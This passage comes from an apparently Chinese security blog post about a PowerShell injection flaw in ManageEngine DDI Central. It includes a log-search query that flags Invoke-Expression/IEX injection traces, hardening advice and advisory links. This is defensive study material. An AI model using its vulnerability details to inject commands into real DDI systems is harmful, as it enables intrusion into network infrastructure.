\u811a\u672c\u5757\u65e5\u5fd7\u4e2d\u7684\u6ce8\u5165\u7279\u5f81\nGet-WinEvent -LogName 'Microsoft-Windows-PowerShell\/Operational' |\n  Where-Object { $_.Id -eq 4104 -and $_.Message -match 'Invoke-Expression|IEX' } |\n  Select-Object TimeCreated, Message -First 20<\/pre>\n<h2 class=\"doc-h2\">\u516d\u3001\u67b6\u6784\u5e08\u590d\u76d8\uff1a\u628a PowerShell \u6ce8\u5165\u6f0f\u6d1e\u6321\u5728\u67b6\u6784\u5c42<\/h2>\n<p class=\"doc-p\">CVE-2026-19421 \u4e0d\u662f\u5b64\u4f8b\uff0c\u800c\u662f\u201c\u57fa\u7840\u8bbe\u65bd\u7ba1\u7406\u5e73\u53f0 + \u811a\u672c\u5316\u540e\u7aef\u201d\u8fd9\u4e00\u7ec4\u5408\u7684\u7ed3\u6784\u6027\u98ce\u9669\u3002\u4f5c\u4e3a\u67b6\u6784\u5e08\uff0c\u6211\u66f4\u5173\u5fc3\u5982\u4f55\u8ba9\u8fd9\u7c7b PowerShell \u6ce8\u5165\u6f0f\u6d1e\u5728\u67b6\u6784\u5c42\u9762\u96be\u4ee5\u53d1\u751f\uff1a<\/p>\n<ul class=\"doc-list\">\n<li><strong>\u6570\u636e\u4e0e\u4ee3\u7801\u5206\u79bb\uff1a<\/strong>\u4efb\u4f55\u8fdb\u5165\u547d\u4ee4\u89e3\u91ca\u5668\u7684\u8f93\u5165\uff0c\u5fc5\u987b\u8d70\u53c2\u6570\u5316\u901a\u9053\uff0c\u7981\u6b62\u5b57\u7b26\u4e32\u62fc\u63a5\u4e0e <code>Invoke-Expression<\/code>\u3002<\/li>\n<li><strong>\u6743\u9650\u6700\u5c0f\u5316\uff1a<\/strong>DDI \u670d\u52a1\u8d26\u6237\u6309\u533a\u57df\u59d4\u6d3e\uff0c\u675c\u7edd\u5168\u57df\u7ba1\u7406\u5458\u3002<\/li>\n<li><strong>\u8f93\u5165\u5373\u4e0d\u53ef\u4fe1\uff1a<\/strong>\u628a TXT\u3001\u5907\u6ce8\u3001\u63cf\u8ff0\u7b49\u201c\u6587\u672c\u5b57\u6bb5\u201d\u7eb3\u5165\u4e0e\u5bc6\u7801\u540c\u7b49\u4e25\u683c\u7684\u6821\u9a8c\u7b56\u7565\u3002<\/li>\n<li><strong>\u4f9b\u5e94\u94fe\u5b89\u5168\u5de6\u79fb\uff1a<\/strong>\u5bf9\u5f15\u5165\u7684\u7f51\u7edc\u7ba1\u7406\u7c7b\u4ea7\u54c1\u5efa\u7acb CVE \u8ba2\u9605\u4e0e 24 \u5c0f\u65f6\u8865\u4e01 SLA\u3002<\/li>\n<\/ul>\n<div class=\"doc-callout doc-callout-info\">\n<div class=\"doc-callout-title\">\ud83d\udca1 \u67b6\u6784\u6838\u5fc3\u51b3\u7b56<\/div>\n<p>DDI \u5c5e\u4e8e\u7f51\u7edc\u63a7\u5236\u5e73\u9762\uff0c\u5176\u5b89\u5168\u7b49\u7ea7\u5e94\u5bf9\u6807\u57df\u63a7\u800c\u975e\u666e\u901a\u4e1a\u52a1\u7cfb\u7edf\u3002\u5efa\u8bae\u5c06 DDI Central \u7eb3\u5165 Tier 0 \u8d44\u4ea7\u7ba1\u7406\uff0c\u5b9e\u65bd\u72ec\u7acb\u7f51\u6bb5\u3001\u72ec\u7acb\u8d26\u6237\u4f53\u7cfb\u4e0e\u5f3a\u5236\u591a\u56e0\u7d20\u8ba4\u8bc1\u3002<\/p><\/div>\n<div class=\"doc-callout doc-callout-related\">\n<div class=\"doc-callout-title\">\ud83d\udd17 \u5ef6\u4f38\u9605\u8bfb\u4e0e\u4e13\u680f\u63a8\u8350<\/div>\n<ul class=\"doc-internal-links\">\n<li><strong>\u6240\u5c5e\u4e13\u680f\uff1a<\/strong><a href=\"https:\/\/btc354.com\/index.php\/category\/security\/\">\u6d4f\u89c8\u66f4\u591a\u3010\u5b89\u5168\u6f0f\u6d1e\u3011\u6280\u672f\u67b6\u6784\u4e0e\u5de5\u7a0b\u5b9e\u6218\u6587\u7ae0<\/a><\/li>\n<li><strong>\u63a8\u8350\u6df1\u5ea6\u9605\u8bfb\uff1a<\/strong><a href=\"https:\/\/btc354.com\/index.php\/2026\/11\/12\/pulsemate-security-9cfd449f37aabcfd26aa1d716c0c81d22160d6fcfad06ac37ea1699e9eca04d0\/\">Node.js HTTP\/2 UAF \u6f0f\u6d1e\u6df1\u5ea6\u5256\u6790\uff1arespondWithFile \u89e6\u53d1\u7684\u5185\u5b58\u7834\u574f\u94fe\u8def\u4e0e\u751f\u4ea7\u5e94\u6025\u54cd\u5e94<\/a><\/li>\n<li><strong>\u63a8\u8350\u6df1\u5ea6\u9605\u8bfb\uff1a<\/strong><a href=\"https:\/\/btc354.com\/index.php\/2026\/11\/12\/pulsemate-security-b205169ce0d584a2466d52b7c0ef90ed7862dffa06d1ae458df3ec5fc0c1a2af\/\">Payara JMX \u8ba4\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\u6df1\u5ea6\u5256\u6790\uff1aCVE-2026-90908 \u4ece\u4e3b\u673a\u5730\u5740\u4f2a\u9020\u5230 RCE \u7684\u653b\u51fb\u94fe\u8def\u4e0e\u751f\u4ea7\u52a0\u56fa\u5b9e\u6218<\/a><\/li>\n<li><strong>\u5168\u7ad9\u6280\u672f\u5f52\u6863\uff1a<\/strong><a href=\"https:\/\/btc354.com\/\">\u8fd4\u56de \u4e2a\u4eba\u5b66\u4e60\u7ad9\u70b9 \u9996\u9875\u63a2\u7d22\u66f4\u591a\u6280\u672f\u524d\u6cbf<\/a><\/li>\n<\/ul>\n<\/div>\n<div class=\"doc-ref-box\">\n  <strong>\u539f\u6587\u51fa\u5904\u4e0e\u6743\u5a01\u6eaf\u6e90\u58f0\u660e\uff1a<\/strong><br \/>\n  \u672c\u6587\u6838\u5fc3\u6280\u672f\u80cc\u666f\u6e90\u81ea GitHub Advisory Database \u4e0e NVD \u5b98\u65b9\u901a\u544a\uff1a<br \/>\n  <a href=\"https:\/\/github.com\/advisories\/GHSA-98rg-h735-9854\" target=\"_blank\" rel=\"noopener noreferrer\">GHSA-98rg-h735-9854 (GitHub Advisory Database)<\/a><br \/>\n  <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-19421\" target=\"_blank\" rel=\"noopener noreferrer\">CVE-2026-19421 (NVD)<\/a>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u6df1\u5ea6\u5256\u6790 ManageEngine DDI Central \u7684 PowerShell \u6ce8\u5165\u6f0f\u6d1e\uff08CVE-2026-19421\uff0cCVSS 8.8\uff09\u3002\u4ece TXT \u8bb0\u5f55\u6c61\u67d3\u5230\u547d\u4ee4\u6267\u884c\u7684\u5b8c\u6574\u653b\u51fb\u94fe\u3001CWE-78 \u6839\u56e0\u89e3\u6784\u3001\u4f01\u4e1a\u7ea7\u4fee\u590d\u4e0e\u7eb5\u6df1\u9632\u5fa1\u843d\u5730\u5b9e\u8df5\uff0c\u9644\u68c0\u6d4b\u811a\u672c\u4e0e\u52a0\u56fa\u914d\u7f6e\uff0c\u52a9\u4f60\u5728 DDI \u57fa\u7840\u8bbe\u65bd\u5c42\u5f7b\u5e95\u5c01\u5835 PowerShell \u6ce8\u5165\u6f0f\u6d1e\u98ce\u9669\u3002<\/p>\n","protected":false},"author":2,"featured_media":964,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[424],"tags":[481,483,482,480,349,402],"class_list":["post-963","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security","tag-cve-2026-19421","tag-cwe-78","tag-ddi-central","tag-powershell-","tag-349","tag-402"],"yoast_head":"<!-- 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content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/btc354.com\/index.php\/2026\/11\/12\/pulsemate-security-80d977c2a8470f2a89073adafd49e8f7ddf6bb7ddd2271f500fb915d2fd6e987\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PowerShell \u6ce8\u5165\u6f0f\u6d1e\u6df1\u5ea6\u5256\u6790\uff1aManageEngine DDI Central CVE-2026-19421 \u653b\u51fb\u94fe\u3001\u6839\u56e0\u4e0e\u7eb5\u6df1\u9632\u5fa1\u5b9e\u6218 - \u4e2a\u4eba\u5b66\u4e60\u7ad9\u70b9\" \/>\n<meta property=\"og:description\" content=\"\u6df1\u5ea6\u5256\u6790 ManageEngine DDI Central \u7684 PowerShell \u6ce8\u5165\u6f0f\u6d1e\uff08CVE-2026-19421\uff0cCVSS 8.8\uff09\u3002\u4ece TXT \u8bb0\u5f55\u6c61\u67d3\u5230\u547d\u4ee4\u6267\u884c\u7684\u5b8c\u6574\u653b\u51fb\u94fe\u3001CWE-78 \u6839\u56e0\u89e3\u6784\u3001\u4f01\u4e1a\u7ea7\u4fee\u590d\u4e0e\u7eb5\u6df1\u9632\u5fa1\u843d\u5730\u5b9e\u8df5\uff0c\u9644\u68c0\u6d4b\u811a\u672c\u4e0e\u52a0\u56fa\u914d\u7f6e\uff0c\u52a9\u4f60\u5728 DDI \u57fa\u7840\u8bbe\u65bd\u5c42\u5f7b\u5e95\u5c01\u5835 PowerShell \u6ce8\u5165\u6f0f\u6d1e\u98ce\u9669\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/btc354.com\/index.php\/2026\/11\/12\/pulsemate-security-80d977c2a8470f2a89073adafd49e8f7ddf6bb7ddd2271f500fb915d2fd6e987\/\" \/>\n<meta property=\"og:site_name\" content=\"\u4e2a\u4eba\u5b66\u4e60\u7ad9\u70b9\" \/>\n<meta property=\"article:published_time\" content=\"2026-11-12T12:36:40+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/btc354.com\/wp-content\/uploads\/2026\/11\/tech-powershell-e6b3a8e585a5e6bc8fe6b49ee6b7b1e5baa6e58996e69e90efbc9amanageengine-ddi-central-cve-2026-19421-e694bbe587bbe993bee38081e6a0b9e59ba0e4b88e-1794487623.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"800\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"tan, keito\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@tqd354\" \/>\n<meta name=\"twitter:site\" content=\"@tqd354\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"tan, keito\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" 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